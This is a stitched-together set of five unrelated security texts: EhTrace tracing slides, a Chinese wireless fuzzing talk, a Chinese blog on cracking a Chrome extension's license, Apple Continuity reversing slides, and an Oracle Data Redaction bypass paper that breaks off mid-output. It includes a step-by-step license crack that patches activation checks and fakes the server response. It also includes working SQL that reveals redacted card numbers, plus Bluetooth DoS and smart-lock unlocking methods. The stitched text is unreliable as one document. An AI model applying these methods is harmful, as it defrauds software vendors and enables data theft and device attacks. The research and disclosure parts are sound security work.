BlockFighting with a HOOKER [email protected] BLOCKFIGHTER II (@DEFCON24 #w00w00 #Blah!) (K2) [email protected] What are we doing here? • Methodology & tools for high speed comprehension binary trace/analysis/steering • Super simple to use and FUN! • Monitor and Alter execution • BlockFighters • ROP DEFENDER • RAN$OM E$CROW • I HAVE A CERTAIN SET OF SKILLS • EhWinAFL • Almost defiantly not the best backend ever ;( • Hyepervisor DoS / detection! • Execution Graph tools • Block views Also + disassembly FLAME GRAPH! Intro/Outline • Hooking/Tracing • Trace: What is executing? • Hooker: Can we also modify/detour flow? • Frustrations/Hurdles • What worked, what didn’t work, what also works ;) • Friendly inputs • Symbol support • Evil inputs Intro: Current & OTHER / TOOLs / CODE • https://Github.com/K2 • Github.com/ShaneK2/inVtero.net • Evolution from CSW14 (process detection) • Cross platform (Windows, *BSD, Linux) memory analysis • Cross microarchitechture (sandy bridge, sky lake, …) 0 • Cross hypervisor (based on auto-magic VMCS / EPTP extraction) • Includes nested support (D33P introspection) • EhTrace (pronounced “A Trace”) • What were going to cover this time DEFCON24!!! <<<============== • Let me know if I missed any code in the check-in!! PRE-ALPHA!!!#(%@ check in is cowboy coding / lazy / uhhh ☺ Goals • Trace or Modify execution • Bare metal • Can run under a hypervisor • Binary steering • This method (EhTrace) does not require multiple executions • Using profiling hardware supported logging is faster at run time yet slower in some cases due to requiring us to re-run our target • EhTrace in a DBI – for fuzzing? • Maybe in the cloud or malicious binaries • Benign binaries check out Richard Johnson’s work “Go Speed Tracer” • Let’s see what AFL does in any event (hohooooo) Dreams • Fun sandbox that is flexible and easy to play with • Lots of blockfighters • Swiss Army stuff • Defend against mal-code • Attack to understand anything • Uber perf • Slicing is your friend • Kernel look Dependencies • I use Windows 10 x64 • Cloud / older versions YMMV • Thanks Feryno • http://x86asm.net/articles/backdoor-support-for-control-transfer-breakpoint-features/ • https://github.com/K2/EhTrace/wiki • Thanks InGap Jeong (laughfool) • http://fdbg.x86asm.net/add_debugctl_support_ws2008R2_w7.UEFI.BIOS.ver048.zip • For detail information's check below link. http://fdbg.x86asm.net/debugctl.article.txt More References • Danny Quist, Valsmith – DEFCON15 • http://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-quist_and_valsmith.pdf • Covert debugging / vm / debugger detection & countermeasures • Page fault assisted “Saffron” • Super modern stuff => http://triton.quarkslab.com/ (seems like ideal design! ☺?.. hosted on github, (also since lots of darpa challengers do binary trace… Trail Of Bits GRR & tools) • Speed taint, • dynamic symbolic execution, • replay trace’s with snapshot, • SMT/constraint solvers, AST logic, • tracer independent & pythong Traditional Trace Techniques • If hooking -- disassembly required • Insertion of a “detour” we need to know how to insert a trampoline • Stack stuff “arguments(A,B);” • Replicate instructions • Slow • Debuggers – EhTrace is sort of an in proc debugger • Less context switching and avoids having to use based pointers everywhere ☺ • Disassembly needed for some circumstances, not explicit requirement • Thanks to capstone this is not a hard problem • Perf is an ongoing thing Hooking execution • Detours • Requires an instruction length decoder • Rewrites function prolog into a specialized function which performs logging, analysis etc… • Usually static, can be dynamic/jitter, • may jmp to a leaf like detour which can work without knowing the function prototype/stack requirements • Most of the time you will need symbols or really good logic in the hooker to not break execution • Perf not perfect since were blowing shared cache, adding code and may require more What’s the problem again? • Debuggers are slow, really slow • Second process context switching is fairly expensive • Logic for conditional breakpoints is exponentially more expensive • Being detected by EVIL c0d3 • Checksums • Malicious binaries often checksum their code to validate they are not being analyzed • Highly secure environments may checksum their binaries to make sure they are not tampered with Perf • Cost is mostly setting up the exception pump • logging(trace), RoP defender & Key Escrow very cheap on top of A pump ;) • Microbenchmarks show between 20-150% performance hit • TODO: Cache / Checkpoint implementation • Dynamically turn on/off depending on needs • Detect self-modifying code & otherwise adversarial stuff • TBH un-sliced hookers looking at 1000% TOTAL worst case, hey one order of magnitude is better than 2+!! • Theoretically can execute faster than native execution • Sort of the purpose of some of these trace interfaces to accelerate slow code or to bypass calls which can be simulated in a mem-cache • Eternal Space/Time trade off exercise left to an exercise by the reader EhTrace • Aboot time for a trace eh? • Whatever I’m dual citizen • Uses VEH under the covers • Need to be a little careful • Don’t want to alter or change behavior of what were looking at Ret2 code • Original libc work, Solar designer • http://seclists.org/bugtraq/1997/Aug/63 • Handy since most overflows contain a pointer to useful addresses • Your input • System libraries • Still used to this day (RoP) Stack Hooking • Attempted to use as alternative to what we wound up using • From a second “manager” thread • Load from a RoP chain pool (memory area with RoP gagets) • Borrow memory from the executing stack from above the stack top • Usually some spare memory there • Not very great • Only post condition hooking • Have to find a way to get notification on new calls • Do some sort of shadow stack/memory protection trickery • Tends to be fairly fragile RET RET EhTrace – how it works • Remarkably easy to trigger branch stepping of a binary • In the VEH handler set 3 bits and return. • THAT’S IT • TRAP FLAG • OTHER FLAGS :D LONG WINAPI vEhTracer(PEXCEPTION_POINTERS ExceptionInfo) { // single step ExceptionInfo->ContextRecord->EFlags |= 0x100; // setup branch tracing ExceptionInfo->ContextRecord->Dr7 |= 0x300; EhTrace – RoP Hooks • Register a VEH handler CreateRemoteThread(… &VeH_RoP,..); • VeH_RoP – use a RoP gadget finder (there are many) • Handler only needs to set the 3 bits then exit with continue status • Using the exception dispatcher were able to now get the preconditions we missed with the stack/shadow model • Pretty straight forward, just need to maintain control in flags since it’s cleared out of the context. What else is it good for? • Branch stepping is pretty sweet! • A lot more than detours on functions • Basic block analysis • Code coverages • Can we put this into a DBI (Dynamic Binary Instrumentation) framework? • Do we need to emulate? Isn’t that slow? • If were dealing with a malicious binary we have several things to consider. • Of course we need to also watch out for an otherwise non-mal binary doing something that might disrupt our trace Maintaining control • Maybe use page protection to force an exception on execution (don’t want to place an int3 obviously) • When page is attempted to be executed we check to see what emulation is needed • If somebody tries to take over VEH • What about intra-block stuff? • Can’t they just write over our VEH handler in memory? • Sure, maybe register 2! Also setup the VEH continue handler • Do some hybrid stack rewriting (inject LOP’s) + EhTrace to steer and manage target binary Blockfighting with a hooker • BlockFighter has to be smart, fast and in total control! • Much like a StreetFighterII champ! BlockFighting BlockFighting • Simplified analysis • Using capstone we & the branch step • At the point of any jmp/ret/call control transfer we can stop our fight until the next round • Round 2 FIGHT! • Actually were so good we always “give second round”! • That means really that if there’s a conditional we need to follow through a conditional • Jne – we follow the non-jump to ensure we complete the context until a ret/jmp/call • Eventually add [RJL]oP engine and things get a lot more easy with binary steering… (perf good, nearly native speed, drop most exception overhead! ☺ BlockFighting • Watch the eflags & DR any manipulation will cause problems for us • DEBUG_MSR ? • Lots of things probably • Overall however we have a platform to build primitives on that can eventually do battle in a structured way • Maybe combine blockfighter with stack injection to ensure we have additional post- condition checks on our flag/branch-step/veh state Ransom Warrior • Enforce cryptographic key escrow • Trace the binary • Escape random read’s => network, protected enclave / hypervisor assisted • Prototype block fighter can expand into a more refined set of interfaces • ROP / JOP / LOP Building got to love the lop op – LOP! Coverage • Can you hear me now? • Flame graph • Current minimal state includes RIP, LAST_RIP, TID, FLAGS and ESP • This is sufficient to build any code graph! Intra-procedural, call graph or full trace • FLAMING BlockFighter! • http://www.brendangregg.com/FlameGraphs Execution history – Blocks Execution history – With ASM CPU FLAME GRAPH • CLICK HERE • Orig from here -> http://www.brendangregg.com/FlameGraphs/cpu-bash- flamegraph.svg (PowerPoint doesn’t do SVG’z i.e. SVG is navigable) CPU FLAME GRAPH • https://github.com/K2/EhTrace/blob/master/support/x1_100k.png Upcoming stuff… • MSAGL graphmaps – fun/interactive mesh graph, sort of looks like an expandable spiderweb! • SVG builder (without the .pl scripts from Brendan) • Tighter Symbols (graphs and images not as fun without English eh?) Upcoming stuff: Blockfighters • A Flagfighter • Rflags checks • A PageFighter • Page protection monitor • E.g. protect the entrypoint CreateRemoteThread call’s before it calls the specified &func argument to detect remote threads before the DLL thread notification run’s • Use tricks like this to ensure your not being tricked yourself • Page fighter should be slicing the input based on what you want to trace (i.e. manage trace A B or C .DLL and leverage page protection as • Emu Fighter • Emulate an operation that would otherwise detect us Private implementations differ! • Your fighters will be various • i.e. if your not using any system/runtime API you don’t need to worry about locking as much (obviously) Questions -- DEMOz? • Feedback, bugs & Feature requests please • https://github.com/K2 Thank you •
pdf
谛听 — ⽆无线 Fuzzing 之旅 Kevin2600 翠花的⽇日常 翠花是位在报社⼯工作的⼥女编辑. 她跟很多⼈人⼀一样享受着科技带来的便捷. 智 能⼿手机成为她⽣生活中必不可少的⼀一部分. 每天早晨上班前, 她喜欢打开收⾳音 机了解下当天的天⽓气和交通状况. 上班途中她发现个化妆品打折的海报. 为 了获取更多的信息她⽤用⼿手机读取了海报上的⼆二维码标签. 结束了早上的⼯工作后,翠花喜欢到附近的咖啡店⾥里吃午餐. 最主要的原因 是店家提供免费 WIFI 上⺴⽹网. 下班归途中她带上新买的 Bluetooth ⽿耳机, 听 点⾳音乐放松下. 半路上翠花收到了家⾥里的智能电饭锅发来的 SMS 短信, 提 醒她晚饭已经蒸好, 回到家后即可⽤用餐. ⽆无线电波 原理从未改变: 频率 —> 调制 —> 编码 —> ⽆无线协议 攻击⽅方式五花⼋八⻔门: 信号干扰; 重放攻击; 数据伪造; 模糊测试 … 模糊测试 寻找漏洞的⽅方法. 通过向⺫⽬目标发送畸形数据, 试图使⺫⽬目标崩溃. 意想不到的数据: PDF ⽂文档; 图像⽂文件 or 其它交互形式? 意想不到的效果: Stack Overflow; Underflow; Out Bound Read .. 视频: TEMPEST TEMPEST 简介 电磁波干扰? 任何电⼦子设备都会产⽣生电磁场, 对其它⽆无线电设备造成干扰. 电磁波泄漏隐患? 显⽰示屏电磁信号可别解码并还原, 从⽽而达到远程监控⺫⽬目的. 视频: ⼆二维码注⼊入 同样的攻击⽅方式也可运⽤用到 DHCP-主机名; NFC-NDEF; Bluetooth-Name ⼆二维码注⼊入 ⼆二维码拥有 2000+ 的数据存储量, ⾜足以注⼊入完整的恶意代码. ⽆无线 Fuzzing - WIFI Aircrack-NG 1.0 DoS 攻击 AirCrack-NG 1.0 — EAPoL 溢出 EAPoL — IEEE802.1X ⺴⽹网络端⼝口认证协议. Aircrack-NG在解析 EAPOL 认证包时默认最 ⼤大值为 256 bytes. 且不会超过此范围. 尝试在⻓长度位标识超出 256 bytes, 但实际 payloads 并未超出 (Invalid memory read) or 尝试实际 payloads 超出256 bytes (Heap corruption) WIFI 交互流程 数据结构 SSID Injection 攻击 众多⽆无线路由器 OS 具有”site survey“功能. ⽤用户可扫描周边⽆无线设备. 但对扫描 到的数据没有进⾏行正确过滤处理 ⼊入侵者可利⽤用 airbase-ng 或 mdk3 等⼯工具创建带有恶意代码 SSID 对⽆无线设备进 ⾏行 Fuzzing 攻击 SSID Injection 案例 路由器操作系统 DD-WRT “23 SP1-RC4”, “23 SP2” and “24” ⽆无线⼊入侵者的必备设备 WIFI Pineapple (⼤大菠萝) 2.6 SSID 仅⽀支持 32 bytes, 但可通过多个SSID 组合的⽅方式达到完整恶意代码⺫⽬目的 WIFuzz 攻击 通过 Python 的 Scapy 库⽣生成篡改 WIFI 802.11数据包 涵盖 WIFI ⺴⽹网络中的每⼀一阶段 Assoc; Auth; Deauth; EAPoL .. http://code.google.com/p/wifuzz/ ⽆无线 Fuzzing - 蓝⽛牙 Bluetooth 101 Bluetooth 2.0: 2.4ghz; 79 频道;1Mhz 带宽; 早期被⼲⼴广泛运⽤用于⽿耳机等 Bluetooth 4.0 (低功耗): 2.4ghz; 40 频道;2Mhz 带宽; IOT 设备的标配之⼀一 暴露年龄 的经典攻击: BlueBug; BlueSnarf; BlueSmack; CarWhisperer … Bluetooth 架构 2.0 L2CAP 攻击 L2CAP ⽆无需配对认证, 仅需⺫⽬目标设备可被识别即可 Ping of Death l2ping —> 65535 payload BSS (Bluetooth Stack Smasher) L2CAP Fuzzer 不容易 Debug 和判断攻击包是否抵达攻击⺫⽬目标 视频: 蓝⽛牙 L2cap DoS L2CAP 攻击 - 不同的产品, 相同的芯⽚片 BM2042 模块适⽤用于蓝⽛牙v2.0 以及 HID profile 通过 FCC ID 确认蓝⽛牙芯⽚片类型 BM2042 配对攻击 众多蓝⽛牙设备的默认配对密码是 0000 或 1234 (并且⽆无法改变) 蓝⽛牙设备名 A*248 造成移动设备重启(Windows Mobile 6) 蓝⽛牙设备名 HTML5 - JS XSS Injection 旧壶装新酒 .. 视频: Name - Injection Bluetooth 架构 4.0 Ubertooth: 开源 & 价格适中 & 混杂模式嗅探 (必备) BTLE 数据分析 - 神器 LightBlue: 夸平台 LE 数据交互分析软件 Nordic NRF51822: 详细官⽅方⽂文档 & 配套嗅探程序 (Windows 可⽤用) BTLE 数据分析 - 智能灯泡 嗅探 APP 和智能灯泡之间的数据交互 (开&关) 蓝⽛牙 4.0 dongle & Gattool 对数据篡改 or 重放 … LightBlue 对灯泡 Recon 基本信息 (Just Works 000000) 蓝⽛牙智能锁 - DoS 攻击 (3 分钟) Fuzzing 智能锁 通过 Ubertooth 嗅探 APP 和智能锁之间的数据交互 通过 Python 脚本 Fuzzing 篡改交互数据 bytes by bytes 当锁接收篡改数据⽆无法正常解析, 进⼊入 error state .. ⾃自动开锁.. ⽆无线 Fuzzing - SMS BTS 基站研究 伪基站危害 vs GSM 通讯安全研究 MOBILE PWN2OWN 2015 - 攻陷 Samsung S6 基带芯⽚片 GSM 协议 Fuzzing for Crash - 测试⺫⽬目标众多 BTS基站搭建 YateBTS 让 GSM 基站搭建变得犹如安装应⽤用软件般简单 BladeRF x40 + GSM 天线 + 2台⼿手机 + SIM 卡 —> ⼿手机⺴⽹网络测试平台 注意事项 将 MCC 和 MNC 设为 Test-Network (00101), 避免跟正常⺴⽹网络冲突 推荐使⽤用信号屏蔽箱或减低基站发送功率, 以避免信号泄漏 (GSM Only) 视频: YateBTS YateBTS 中间⼈人 SMS 短信 GSM 静默短信 Type 0 可⽤用于对⼿手机⽤用户进⾏行定位 短信分为Text ⽂文本模式和 PDU 协议数据单元模式 (WAP, MMS) GSM 短信发送 Users —> SMSC —> Users SMS Fuzzing PDU模式发送 - https://github.com/pod2g/sendrawpdu PDU Encode 和 Decode - http://www.nobbi.com/pduspy.html SMS 标准 http://www.3gpp.org/ftp/Specs/html-info/23040.htm SMS Fuzzing Android (RIL) ⼿手机可通过 “ adb logcat -b radio “ 进⾏行实时监控 GSM 假基站模式不等同于真实运营商模式 (packet inspection) ⼿手机 GSM baseband 没有对 SMS 进⾏行 packet inspection PDU 畸形数据导致 Nokia 3310; 6210 系列⼿手机系统崩溃重启 总结 Kein System ist Sicher:100% 安全的系统并不存在. ⿊黑客往往剑⾛走偏锋, 反其道⽽而⾏行之. 百密⼀一疏将导致系统安全⼟土崩⽡瓦解. 易⽤用性 vs 安全性,⼀一个永恒的难题. 任何交互都可能成为潜在的攻击点. Kevin2600
pdf
Background 越来越多的软件和网站都推出了夜间模式, 所以最近夜间冲浪的时候经常从黑色的IDE切换到白色的网页的时候, 总会瞎眼一波, 就从谷歌插件商店搜了几个能把网页转换成夜间模式的插件, 最终决定用Night Eye. 不同于一般的只会修改background-color: black的插件, 这款插件通过算法来进行各种颜色调整, 既可以让 网页变成夜间模式, 也不会导致黑色背景和黑色字体融为一体. 官网: https://nighteye.app/ 新用户有三个月免费试用, 然后是一年9刀或者40刀永久激活, 所以这里进行一波破解, 有能力购买的老板的还是 建议支持一下官方. 本文通过对这款插件做的一点微小的工作来进行一个解的破, 顺带学习一波chrome的插件开发和调试, 由于代码 虽然压缩了但是各种函数名字符号都还在, 可以通过搜索直接定位到检查函数, 所以搞起来比较简单. Chrome插件结构 Chrome插件基本由mainfest.json, content-script, background.js, popup组成 mainfest.json: 插件的配置文件 content-script: 用来向页面注入css和js background.js: 常驻于浏览器的一个脚本, 始终在运行 popup: 即点击插件的logo以后弹出的窗口 Chrome插件调试技巧 寻找插件源码 在chrome的地址栏输入chrome://version/后, 可以看到Profile Path: C:\Users\username\AppData\Local\Google\Chrome\User Data\Default 右键点击插件logo, 在Manage extensions里可以看到插件的ID, 我们这里的Night Eye的ID是 alncdjedloppbablonallfbkeiknmkdi, 于是插件代码路径为: C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Extensions\alncdjedloppbablonallfbkeiknmkdi 其中home.js对应的是前文中的popup的代码 把源码复制一份出来进行修改, 由于代码改过了, 所以必须删除原版以后, 用chrome加载插件 通过调试找checker 根据脚本不同, 检查的代码位置也可能不一样, 比如Night Eye会在打开网页的时候提示试用过期, 所以猜测检查 代码应该是位于background.js或者content.js 调试background 在Manage extensions页面里, 点击background page即可调试background的代码 调试popup 右键点插件logo, Inspect pop-up 调试content-script 随便打开一个网页, 在开发者工具里, Source页面, 左上角选Content script即可 checker chrome的开发者工具可以格式化被压缩的js代码: 根据弹窗里的各种信息, 通过搜索activation, check等字符串, 定位到一个激活成功的函数 看起来是通过ajax向服务器验证以后根据返回来确定激活结果的, 在这里打个断点调试一波 右边的Scope可以看到各种变量的值, 这里的e应该就是服务器返回的数据, 满足if的条件时才会进入激活成功函 数 所以我们在源码里直接搜索这个函数修改一波, 直接把if的条件改成true, 改完以后点这里重新加载 可以看到激活成功了 但是我发现在打开新网页的时候又会变成过期状态, 所以推测background.js里可能存在检查, 调试一波, 方法类 似前面的, 通过搜索action, license等字符串找到一个检查函数 打上断点后随便找个网页打开, 重新加载插件就可以断了 可以看到t应该是服务器返回的数据, 是一个json, 我们把修改后的json字符串直接写进去试试 我寻思, 应该能行 总结 本文通过对一款夜间模式的chrome插件的源码探索和调试, 找到了证书检查函数并进行了修改, 进而可以白嫖, 通过实战学习了一波chrome的插件原理和开发, 调试流程. 由于这款插件代码压缩不够充分, 可以直接定位到检 查函数, 破解起来相对容易一些. Referce https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html https://blog.csdn.net/qustdong/article/details/46046553
pdf
HITCON 2019 - Ta-Lun Yen (es) 1 Trust in Apple’s secret garden: Exploring & Reversing Apple’s Continuity Protocol HITCON 2019 - Ta-Lun Yen (es) 2 Outline ● Motivation ● Introduction to Continuity Protocol ● iCloud, APNS, iMessage ● Continuity – Previous Research – Software Stack – Protocol ● Remarks HITCON 2019 - Ta-Lun Yen (es) 3 About me ● Working as DevOps + Fullstack ● Independent Security Research ● Tinkering / Hacking devices or new things ● “Security in communication process” HITCON 2019 - Ta-Lun Yen (es) 4 Motivation ● Study on how Apple actually implements security ● Shed light into Apple’s secret garden ● Make iOS device more usable on non-macOS device HITCON 2019 - Ta-Lun Yen (es) 5 Motivation ● Responsible disclosure? Bug bounty? – No apparent vulnerability found yet – No bug bounty for such domain HITCON 2019 - Ta-Lun Yen (es) 6 Continuity HITCON 2019 - Ta-Lun Yen (es) 7 Continuity ● “Move seamlessly between your devices with Handoff, Universal Clipboard, iPhone Cellular Calls, SMS/MMS messaging, Instant Hotspot, Continuity Camera, AirDrop, Apple Pay, and Auto Unlock.” ● Heavily relies on BLE and iMessage / iCloud ● Most things won’t work without Bluetooth HITCON 2019 - Ta-Lun Yen (es) 8 Why Continuity ● Instant Hotspot (macOS + iOS) – Open Wi-Fi menu – Wait for device to appear – Click on device’s name ● Not-so-Instant Hotspot (!macOS + iOS) – Grab your phone & enable hotspot – Scan for Wi-Fi stations – It usually works, but sometimes it won’t ● New association only when Hotspot page is active HITCON 2019 - Ta-Lun Yen (es) 9 Contuniuty ● “...Continuity takes advantage of technologies like iCloud…” ● “...encryption of the individual messages, which is similar to how iMessage is encrypted...” HITCON 2019 - Ta-Lun Yen (es) 10 iCloud, APNs, IDS, iMessage HITCON 2019 - Ta-Lun Yen (es) 11 iCloud ● Debuted around end of 2011 ● Est. 850M users ● Multiple Services – Backup, Device Locater, Messaging ● Push Service (APNS) HITCON 2019 - Ta-Lun Yen (es) 12 APNs ● Apple Push Notification Service ● Device ID – APNs address (deviceToken), per device ● Public-Key Cryptography + TLS HITCON 2019 - Ta-Lun Yen (es) 13 iMessage ● Proprietary Messaging Service ● Supports text & attachments ● End-to-End encryption ● Continuity message are encrypted similar to iMessage HITCON 2019 - Ta-Lun Yen (es) 14 identityservicesd (IDS) ● Directory Service – iMessage keys ● Links with iCloud – Able to grab any other device’s public key from iCloud, with corresponding phone # or email HITCON 2019 - Ta-Lun Yen (es) 15 iMessage “onboarding” ● Keys are generated – RSA + ECDSA ● Public key will be send to iCloud – Associated with (phone # / email) + APNs address – Private key never leaves device ● Easily accessible with Keychain HITCON 2019 - Ta-Lun Yen (es) 16 Sending with iMessage ● Generates message bplist ● Concats – Target public key + aes(bplist) + session key ● Encrypts AES key with RSA public key ● Appends ECDSA-SHA1 to the end HITCON 2019 - Ta-Lun Yen (es) 17 iMessage Attachment Mode ● >4KB or >16KB payload, or attachment – Depends on iOS version ● Content encrypted with AES-CTR (256b) ● Sends URI and content’s SHA-1 instead HITCON 2019 - Ta-Lun Yen (es) 18 Continuity HITCON 2019 - Ta-Lun Yen (es) 19 ● Incoming Call – Bootstrapping ● iPhone (TCP) → APNs → Local Mac/iPad – Call ● iPhone (UDP) → Local Mac/iPad – Ring is terminated with BLE when answered Cellular Call Relay HITCON 2019 - Ta-Lun Yen (es) 20 Cellular Call Relay ● iPad / Mac must be on the same Wi-Fi network as phone ● Receive/Make cellular calls using iPad / Mac ● Relies on APNs to work ● “Upon answering the call, the audio is seamlessly transmitted from the user’s iPhone using a secure peer-to-peer connection between the two devices.” HITCON 2019 - Ta-Lun Yen (es) 21 ● Call is terminated via APNs – Local Mac/iPad → APNs → iPhone – iPhone terminated call ● Martin Vigo: DIY Spy Program: Abusing Apple’s Call Relay Protocol – DoS, Spying, impersonation Cellular Call Relay HITCON 2019 - Ta-Lun Yen (es) 22 AirDrop ● Based on BLE & AWDL (Apple Wireless Direct Link) – “Apple-created peer-to-peer Wi-Fi technology” ● Bootstrapping using BLE – Detect devices nearby (broadcast) – Set up transfer ● Milan Stute et, al. 2018. One Billion Apples’ Secret Sauce: Recipe for the Apple Wireless Direct Link Ad hoc Protocol HITCON 2019 - Ta-Lun Yen (es) 23 ● Module hooks with sharingd – Calls method upon message received ● Host → bluetoothd → sharingd → Target module Continuity Stack HITCON 2019 - Ta-Lun Yen (es) 24 Flow ● Messages are encrypted-then-signed ● Message received via HCI ● Passed on to sharingd ● sharingd → IDS → MessageProtection → sharingd → target service HITCON 2019 - Ta-Lun Yen (es) 25 ● Device decides to connect to hotspot ● Connects to device and uses GATT to exchange connection info – SSID / PSK included ● Device sends Probe Request – Hotspot sends Probe Response & Beacon ● Device establishes Wi-Fi connection with hotspot Flow (Instant Hotspot) HITCON 2019 - Ta-Lun Yen (es) 26 Continuity Broadcast Protocol ● Device sends broadcast continuously – MAC – Type ID – Payload ● Always on CH37 HITCON 2019 - Ta-Lun Yen (es) 27 Broadcast Sender Validation ● None ● Broadcast using private address – Uses VSC to translates private address to public – Change on each power cycle HITCON 2019 - Ta-Lun Yen (es) 28 Continuity BLE Broadcast Protocol HITCON 2019 - Ta-Lun Yen (es) 29 HITCON 2019 - Ta-Lun Yen (es) 30 Continuity BLE Broadcast Type ID Additional Tools for Xcode <=10.2 PacketDecoder HITCON 2019 - Ta-Lun Yen (es) 31 Tethering Source Presence ● Type 0x0e ● Battery 5e (94%) ● Cell 0x06 (LTE) ● Quality 3/5 HITCON 2019 - Ta-Lun Yen (es) 32 Continuity: Attack Vectors HITCON 2019 - Ta-Lun Yen (es) 33 Attack Vectors ● Privacy Leak ● Spoofing HITCON 2019 - Ta-Lun Yen (es) 34 Privacy Leak ● Device Tracking – Device Fingerprinting – Attributes – Activity – Identity ● Deanonymize random MAC HITCON 2019 - Ta-Lun Yen (es) 35 Device Fingerprinting ● Type ID – Device type ● e.g. No instant hotspot for iPad Wi-Fi – OS Version ● Apple watch: iOS >= 11 ● Nearby: iOS >= 10 HITCON 2019 - Ta-Lun Yen (es) 36 Attributes ● Instant Hotspot – Battery Life – Cell Service Type – Cell Quality HITCON 2019 - Ta-Lun Yen (es) 37 Activity ● Handoff – Broadcasts when applicable, e.g. Firefox open & Foreground ● Instant Hotspot – Handshake only occurs when device in proximity ● Nearby – Always broadcasting HITCON 2019 - Ta-Lun Yen (es) 38 Identity ● Instant Hotspot – Wi-Fi connection is made with public MAC ● Contextual Analysis – Wi-Fi connection after Continuity message ● Wi-Fi MAC + 1 = Bluetooth MAC HITCON 2019 - Ta-Lun Yen (es) 39 Spoofing ● ubertooth-btle faux slave mode ● Needs sender/receiver public MAC HITCON 2019 - Ta-Lun Yen (es) 40 Continuity Protocol lldb HITCON 2019 - Ta-Lun Yen (es) 41 Verify / Decryption ● Every connection is associated with a UUID ● If UUID is added before, don’t fetch public key again HITCON 2019 - Ta-Lun Yen (es) 42 Accidently broke IDS ● I deleted “iMessage ____ Key” in keychain ● Fixed by rebooting phone & mac ● Hypothesis: Keys are downloaded & uploaded / regenerated on iMessage login HITCON 2019 - Ta-Lun Yen (es) 43 ● If public key is not found, returns false ● Checks SHA1 of message with existing caches ● Calls verification & decryption – MessageProtection – SecMPVerifyAndExposeMessage Verify / Decryption HITCON 2019 - Ta-Lun Yen (es) 44 Malleability HITCON 2019 - Ta-Lun Yen (es) 45 Malleability ● Messages are only signed – No MAC ● Replay was allowed ● Certificate Pinning wasn’t implemented ● Message is Compressed-then-Encrypted – Compression Oracle HITCON 2019 - Ta-Lun Yen (es) 46 SecMPVerifyAndExposeMessage ● SecMPVerifyMessageContents(payload) – sizeof(payload) > 0x11 ● Here lies raw payload from HCI – Calls SecKeyDigestAndVerifyWithError to verify against it ● Signing is made against SHA-1 digest of payload – If passed, actual decryption is called HITCON 2019 - Ta-Lun Yen (es) 47 Message Verification & Decryption ● Relies on Security.framework ● Security Transforms – SecVerifyTransformCreate – SecDecryptTransformCreate HITCON 2019 - Ta-Lun Yen (es) 48 Data Structure ● HCI payload – Data can be split into multiple packets – 0x27-0x28 mentions payload length – 0x28-end is the payload + signature – Some kind of “header” before length (0x03-0x27) ● If not exists, packet is continuation of previous one – Total length – payload length = Signature length HITCON 2019 - Ta-Lun Yen (es) 49 Actual Decryption ● First Stage: RSA-OAEP of first 160 bytes ● Second Stage – rsa_decrypt(data)[:16] → AES-128 CTR Key, PK = 1 – aes_decrypt(rsa_decrypt(data)[16:] + raw_data[160:]) ● Third Stage – Gzipped bplist HITCON 2019 - Ta-Lun Yen (es) 50 HITCON 2019 - Ta-Lun Yen (es) 51 HITCON 2019 - Ta-Lun Yen (es) 52 bplist00 ● Apple Binary Plist HITCON 2019 - Ta-Lun Yen (es) 53 evanslify/continuity ● https://github.com/evanslify/continuity ● Other features would be added along the way HITCON 2019 - Ta-Lun Yen (es) 54 Remarks ● Blindly trusting a device is dangerous – Especially closed-sourced ● Moar encryption can be used – Encryption in broadcast, backed with IDS? ● No blatant exploit found
pdf
Oracle Data Redaction is Broken David Litchfield [[email protected]] 8th November 2013 © Copyright Datacom TSS http://www.datacomtss.com.au Introduction Oracle data redaction is a simple but clever and innovative idea from Oracle. However, at present, there are weaknesses that undermine its effectiveness as a good security mechanism. These weaknesses can be exploited via web based SQL injection attacks and this paper details those weaknesses and provides suggestions on how it can be improved and made more secure. What is Oracle data redaction? Oracle data redaction allows you to redact or mask data returned by a query in order to help protect sensitive data, for example credit card details or social security numbers. Redaction doesn't change the data in anyway, rather just how the data is presented to the user. If a user attempts to query a redacted column all they will get is the redacted version of the data. The data can be fully redacted, partially redacted, redacted using regular expressions or even with random data. Oracle data redaction works by creating a redaction policy on a per column basis using the DBMS_REDACT PL/SQL package. By default only the EXECUTE_CATALOG_ROLE and IMP_FULL_DATABASE roles have the permission to use DBMS_REDACT but in the real world application developers would be given access too in order to protect their data. Before continuing... Before examining the weaknesses in Oracle data redaction, let's set up a sample application. We create a simple table called "REDACTIONTEST" with a credit card column called "CC". We then apply a redaction policy to the "CC" column using DBMS_REDACT so the credit card number is returned as 16 Xs: SQL> create table redactiontest (cc varchar(16), id number); Table created. SQL> insert into redactiontest (cc, id) values ('4111222233334444',1); 1 row created. SQL> commit; Commit complete. SQL> select cc, id from redactiontest; CC ID ---------------- ---------- 4111222233334444 1 SQL> BEGIN 2 SYS.DBMS_REDACT.ADD_POLICY( 3 object_schema => 'C##DAVID', 4 object_name => 'REDACTIONTEST', 5 column_name => 'CC', 6 column_description => '', 7 policy_name => 'redact_cc', 8 policy_description => 'Redacts the cc column', 9 function_type => DBMS_REDACT.REGEXP, 10 regexp_pattern => DBMS_REDACT.RE_PATTERN_ANY_DIGIT, 11 regexp_replace_string => 'X', 12 expression => '1=1'); 13 END; 14 / PL/SQL procedure successfully completed. SQL> select cc from redactiontest; CC ------------------------------------ XXXXXXXXXXXXXXXX As can be seen our credit card number is no longer readable as it is now redacted. Gaining access to redacted data The idea behind Oracle data redaction is to prevent access to sensitive data in specific columns whilst still allowing access to data in other columns for a given table. There are three methods by which an attacker can gain access to redacted data. The first method uses the RETURNING INTO clause with INSERT, UPDATE and DELETE operations. The RETURNING INTO clause allows data to be returned into a variable after a DML operation. This can be used to bypass Oracle data redaction. SQL> SET SERVEROUTPUT ON SQL> DECLARE 2 buffer varchar(30); 3 BEGIN 4 UPDATE redactiontest 5 SET id = id 6 WHERE id = 1 7 RETURNING cc INTO buffer; 8 DBMS_OUTPUT.put_line('CC=' || buffer); 9 END; 10 / CC=4111222233334444 PL/SQL procedure successfully completed. SQL> This is simply an oversight on Oracle's part. Whilst they prevent most ways of tricking redaction, for example by using a flashback query or by doing a CREATE TABLE AS SELECT, they simply forgot about RETURNING INTO as a means of gaining access to data. A second method of bypassing data redaction is by using the XMLQUERY() function. The XMLQUERY() function takes an XQuery expression and returns the results. By passing the redacted table name to the “ora:view” XQuery function a user can return rows from the table and these results are not redacted. SQL> select xmlquery('for $i in ora:view("REDACTIONTEST") return $i' returning content) from dual; XMLQUERY('FOR$IINORA:VIEW("REDACTIONTEST")RETURN$I'RETURNINGCONTENT) --------------------------------------------------------------------------- 